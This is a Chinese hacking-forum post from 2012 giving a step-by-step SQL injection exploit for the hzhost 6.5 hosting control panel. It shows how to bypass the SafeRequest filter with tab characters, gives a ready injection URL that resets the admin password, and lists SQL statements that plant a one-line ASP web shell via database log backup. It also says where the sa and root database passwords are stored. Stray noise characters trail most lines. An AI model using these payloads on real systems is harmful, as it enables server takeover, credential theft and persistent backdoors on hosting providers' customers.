找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2167|回复: 0
打印 上一主题 下一主题

再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 15:03:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这次继续爆hzhost6.5虚拟主机管理系统的SQL注入漏洞。1 Z  J7 b: l& L
只讲两个要点。  T8 m1 t) S, C+ x
第一,如何拿网站管理员权限。+ O: I/ r" T- V3 A. {$ U
第二,如何备份木马。
% s' {' @* Z! d) g: f: f0 A/ Y 这次不是简单的注射点,而是经过安全函数过滤的了点。由于对方没有将变量用单引号包起来,而过滤函数又未过滤完全,导致我们有机会进行注射。
; Z) j! t) m( S3 _9 A3 }! ^2 e 我这次还做了个动画。一并发放。希望能让大家玩得"happy"!哈哈。。。
% s/ Q# H/ e! f: C2 N, ]/ M* {httP://www.xxbing.com QQ178737315
( X9 N! s% O+ X3 J+ f由于我写了很长,而且很累了,所以希望大家回帖鼓励一下。
, l* h3 a4 c$ ?# ~0 S: G9 p% @" l------------开放浏览-------------3 {, e3 z, t( w3 f' z  e  C
漏洞存在于\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp文件中!
" ~" e! M: A4 c-------------------------13-15行----------------------------# ~/ w( W  K5 Q* l7 w% ~  G
querytype=SafeRequest("querytype")  //saferequest函数接受数据
& L! c: k# @1 {' G& |1 g# q) O if chk_int(querytype)=false then  //检查是否是整数7 r& G0 M7 O& {- H3 X
    ErrMsg="<font color=#ff0000>对不起</font>,非法操作!..."9 U0 S2 d: E# D+ p0 y, j$ X
-------------------------37-42行---------------------------
# r2 x. r9 e! D9 F elseif querytype=5 then //如果类型为5。就接受qu1数据!* \4 {; z/ s1 n) ?7 N! q
   qu1=trim(SafeRequest("qu1"))      //saferequest函数接受数据,他自己定义的saferequest函数!- q/ H+ r; E0 J
   9 n8 h2 D" I' h: D4 a: E- \$ v
    if  qu1="" then  //不能为空& j5 [* k$ ?, i! d
         call errorpage(-2,"对不起,请选择参数!")
/ C# d/ M" j/ c   end if         8 L) n6 u, H4 ~9 x; Q
      qstring=" and s_regstt="&qu1&" "  //这里是关键  qu1没有用单引号包围,虽然用了saferequest,但是我们可以绕过!( I+ q1 W; T- Y6 e; j; u$ z
-------------------------62-65行---------------------------) P4 G+ X6 {5 K3 k9 k$ K/ o2 c% _( Q
qu7=trim(SafeRequest("qu7")) //saferequest函数接受数据
& p* Y5 D3 o( j( r if qu7<>"" then$ k+ f( P5 x5 _  d
qstring2=" and u_nme='"&qu7&"'" //这里被单引号包围了。  这里被包围了,所以这里成了死点!!
3 R4 {/ X( l$ x2 Y end if 8 p6 V& p' C' R$ }
--------------------------117行-----------------------------  ]% o6 M8 F- b1 P8 I
query="select * from v_ot2lst where  (s_unme='"&session("usrname")&"' or u_fatstr like '%,"&session("usrname")&",%')    "&qstring&qstring2&"  order by "&orderstring ( d# }1 d. L" T. }9 X, f/ O5 W# J
//到这里就丢进去查询了!
: O2 k( \/ z: {3 f- M1 E3 B6 z7 u" C4 ?( T  I3 @0 t
来看看saferequest()函数。/ G5 e0 C8 `$ J2 E. G, a
------------------incs/config.asp中-------------------------
2 @  a5 H& ^: F: L& f3 O Function SafeRequest(ParaName)
9 j! f9 T1 l0 `: w0 `. N* s Dim ParaValue " F1 F; g: X, g: g0 ?8 Y$ U  K
ParaValue=Request(ParaName)  //获取数据7 W3 ~: J! Y! W' _! B9 _- ~& \* l
if IsNumeric(ParaValue)  then  //如果是数字
# V1 }" K, X' ]0 C# P SafeRequest=ParaValue  //那就不过滤,直接赋值
+ }  b; |8 a! L7 U! w exit Function; \$ n' p! z6 ?5 f, N

" C" k* R- t) P. Z, o# b- G else
; D& c/ U; U( S8 M- P ParaValuetemp=lcase(ParaValue)    //如果不是数字,先把接到的数据全部转为小写
8 s% X2 _' B7 s# l3 X# N) \7 \2 u tempvalue="select |insert |delete from|'|count(|drop table|update |truncate  |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from"5 v+ x/ d1 B" Q% R# S
//定义要过滤的字符!
" @- K; {1 D4 E3 Q# U. Y
2 v  m, b& q) }0 P% R% \8 }) A+ x 他过滤方式有问题。。。没有过滤 * / % / -- / ;
  t& h, ^" O  Q: y 而且他过滤的都是select+空格。我们用select%09或者select/**/便能饶过。
" `! Z) f" [8 E1 ], H- }4 V
- v  a5 E& J! u4 p temps=split(tempvalue,"|")           //转为一维数组
9 H0 y. E, U2 ^1 o) F' a for mycount=0 to ubound(temps)       //循环读数组内数据
8 z; r. [/ d0 T6 ?- E( o9 f if  Instr(ParaValuetemp,temps(mycount)) > 0 then   //判断用户提交的数据是否包含了 非法字符。
! t) ?, j( I7 J7 q                 call errorpage(-2,"非法请求!!!")  //如果有则弹出提示!!
$ k* @2 @0 c1 g* |6 I                 response.end
6 n, E8 J* x9 U end if
' y/ H/ ?* {* V  c5 a; A next
5 L( e1 e  F4 L; x9 i: @0 ` SafeRequest=ParaValue9 e% F: o9 K. W' p
end if
+ C- [4 c5 a5 K: ^7 i7 j End function
- ?0 o# U' B7 D -------------------------------------. Q# F( {% l( w5 R
; ?1 g3 X0 _! x
所以我们构造注射点的思路就是:不能出现单引号,update,select等等两边都要用%09(tab)..仔细看清楚。上面过滤的是update+空格。select+空格。
3 y, g+ a4 A4 @! E) [6 k. _. s 先给出查询语句的框架。
- S) g* D! \% X; j6 i" H  w6 U& Mselect * from v_ot2lst where  (s_unme='username' or u_fatstr like '%,username,%') and s_regstt={我们的语句} and u_nme='1' order by s_addtme desc. C) o9 D; |2 T& x" W
' {6 `$ O- I2 ~0 A
为了使语句顺利执行:: Y0 E7 U# X9 i5 ]
我们还要闭合后面的语句。我没有选择注释掉 and u_nme='1' order by s_addtme desc而是闭合他,是因为注释后,实际查询出错了。
; K/ `& c7 n' _. L( G 这里我给出条示范语句,即{我们的语句}
. _" U+ S6 I7 oUPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E' g* b& C1 P: f9 r% D! O
8 j& l* `" h( ~$ @! @. y' @
这条语句能够绕过saferequest函数的检测。没有出现单引号。6 l5 d# p. y1 q4 D: E5 Z- z- O8 j
我们提交:0 M: k+ @% o7 u2 U9 }3 p) r
http://www.xxxxxx.com/control/ot ... amp;qu1=1;UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E;select%09*%09from%09v_ot2lst where s_regstt=1;select%09*%09from%09v_ot2lst where s_regstt=1
) t0 o; L2 J3 B  n4 M: o$ N) R& A6 T
这句话就能够将admin的密码修改成123456' Y/ M  \* J0 q. ^( M9 [
到此第一个目的就达到了。如果admin不是超级管理员。那么请看《HZHOST域名虚拟主机管理系统sql注射漏洞》中所提到的方法。相关语句请自己转换。" i& j  P) z' |# |* D2 ]' Z
第二步是要备份挂马。
9 D7 q6 U) Y" L 大家看动画中的备马这么简单,当初难了我老半天。saferequest过滤了char(% K; ~9 n( E9 e0 k; h1 v& `- c9 w
导致备马的这条语句失败。6 ~) F" I6 V& C
declare @a sysname,@s varchar(4000) select @a=db_name(),@s=。。。。。。。。。& f; G$ g, y) s" ]

+ p2 v- S& E" A7 L) G- P 有人给我建议改成 @s ntext 等等,换类型都不行。因为我们插入的一句话木马已经固定了数据类型。。
! Y3 w5 S6 ~% v" \" t- _ 由于mssql的宽松性。我把varchar(40000)中加了个空格。并把空格替换成%09成为 varchar%09(4000),也是可以的。这样我们就饶过了char(( k# p# I; j' l" ?2 ?, B( R
接下来放出详细语句。大家放入{我们的语句中}0 o1 Z1 o/ h$ L* S
第 一 步:
- c) F3 ^* [& \( o; c create table [dbo].[shit_tmp] ([cmd] [image])--# b. M- M" U0 N/ l8 \
第 二 步
$ J: d5 T+ \  @! t* E/ r0 R: A* R; e declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--
0 U) D7 t: I( s0 c 第 三 步9 t7 S) ]+ f" F7 d( v! T. J' m: g$ T, v
insert%09into%09[shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--
6 a, c, a/ I& u4 ~% H4 R$ r; n0 m 第 四 步
. i2 K$ v% `$ }5 R% V& A3 C/ ` declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000 backup log @a to disk=@s--
, p4 n; I" t! {% ~+ ]  v  \ 第 五 步3 V0 m1 d3 q( r4 N% n* t( v
Drop table [shit_tmp]--6 r+ Z2 N% T' T. k; |6 k

% A# E6 Q% C& C7 e$ r# Z. f 上面5句语句是在d:/hzhost/hzhost_master/下生成一个1.asp。里面包含了一个密码为a的一句话木马。
$ A" b: s) p3 t' X6 J. L& t0 I 一般来说,我们就能拿到webshell. 至于拿webshell后,如何取得系统权限。
& \% V4 W: B2 }% p6 `! d 请看《对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用!》4 Q; R: R/ `. \) ~; g4 P% [( G7 L
9 D+ C, g4 X/ d3 ^  j
最后是答疑部分:& P1 |4 C" I) q. [4 I: }
1:这次是get注射,不像上次是post注射。由于没有文本框字符的限制,所以不需要保存网页到本地。
# L; C' }- [- o* M' R' c% f+ z& z/ H3 ]& ^7 z% `4 A* _
2:123456的md5(32)值为e10adc3949ba59abbe56e057f20f883e 用mssql 16进制转换后,成为0x65003100300061006400630033003900340039006200610035003900610062006200650035003600650030003500370066003200300066003800380033006500
4 B' U9 C! ]# W% e& S* c- M; q3 a 这是转为nvarchar型的,我们直接更新这个值。会导致被更新用户的密码为乱码。所以我们要转成varchar型的。即:
1 F! u$ z4 h; o/ J- \ 0x65313061646333393439626135396162626535366530353766323066383833657 T) t4 ~2 R) a5 ?/ v
大家仔细观察,会发现,其实只是去掉了一些00。。
- @. X$ D5 D$ P 所以大家在转换其他md5的时候,注意此问题。
& j- r2 x; J6 d( l' z. }  N9 C# r, ~
3:读sa密码,root密码。我们读的是加密了的。还原必须在本机,每台hzhost主机都有自己的密钥,密钥参与到加密过程。这是导致A主机不能还原B主机密码的原因。
. @, G7 l2 Y8 S( H$ N+ s/ q. ~& a 另 hzhost虚拟主机平台的所有dll文件。还有一些注册表值我都已取得。有会逆向分析的高手,能做出还原密码程序的高手请联系我。我很希望把他的加密方式弄出来。( ]6 E6 ?5 W' e; e
" L$ Y' V! e4 D' }3 ?  T* o4 p! R
4:备马的问题,备份成功后,可能出现乱码,是由于截断了的原因,大家用NBSI3。去掉2个截断的勾,再生成语句执行就行了。) @; J6 m' a. Z8 `* I
有的服务器可能在备马的过程中出现SQL过期,超时。遇到这样的是对方数据库很大,这我也没办法。我没能找出一个比较好的解决方案。大家自己研究吧。
7 d7 n6 b) H; z/ B3 y0 W0 `/ N  S* r2 t
5:hzhost其实不只这一个注射点,没被单引号包围的变量还有一些。大家自己去找吧。我只是拿出一个来分析。, M+ @4 f# e& F* z* e7 @# U

( a) \* `! l( k# ] 6::+ @2 A- l  L1 I) V  |
sa密码。root密码。
9 n: \5 s  Q5 e HKEY_LOCAL_MACHINE\software\hzhost\config\settings\$ M6 E6 L1 a$ G6 q) Y' }" s
mysqlpass---root密码7 J6 o- T4 P1 N
mssqlpss----sa密码
2 i- I7 v; s: J- X6 v% M% x. x3 `2 j: o

+ q$ B/ U) V! |/ _ 7.如果路径不在D:/hzhost0 i% p7 v. {( \9 V, g* n+ w
那么就是你人品问题!进后台找找普通用户FTP/web的路径,也许会有些用。& Q7 b, \# z( R9 k, n. }
或者去读注册表。
; l3 R5 Q+ P6 f& j HKEY_LOCAL_MACHINE\software\hzhost\config\settings\ 下$ z6 n  k4 a8 C3 o; {
"wwwrootpath"="e:\\wwwroot"3 v1 d" \6 T  M# c) @3 Z% R* c
"urlsiteroot"="D:\\hzhost\\hzhost_url"
) e0 o5 S7 ]& s "ftprootpath"="e:\\ftproot"   可以看出什么? 绝对路径放在注册表中。把注册表中的值更新到某个字段,再去读就行了。(比如用户e-mail中。。). t/ o* g6 B" S9 o, G
大家自己去试。我没有碰到不在D盘的hzhost.。只是个思路!
1 _) E% R" O/ d& e
4 z* {  i& n* ^0 k, r2 m 利用动画下载地址(送给菜鸟同学们,能看懂文章的大不必下载,只是把文章的内容完全演示了一遍。)& C2 A2 \4 s; Y2 h2 ^) D6 |
hzhost最新漏洞.rar- _# z! ?' B- |
饿。纳米盘速度可能不咋地。但是由于偶的空间FTP坏了。所以,只能放到这里。抱歉啊!!
, I; ~. k& k3 Q
) d# l+ z& ~: Y' l2 \- U& a* g 最后,还是版权。
5 ]' x! f  W* N# ~3 ~1 O  Y. m& ]http://www.xxbing.com QQ178737315
# p9 ~) V3 e: q) q. m/ t 允许自由转载。但请注明作者。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表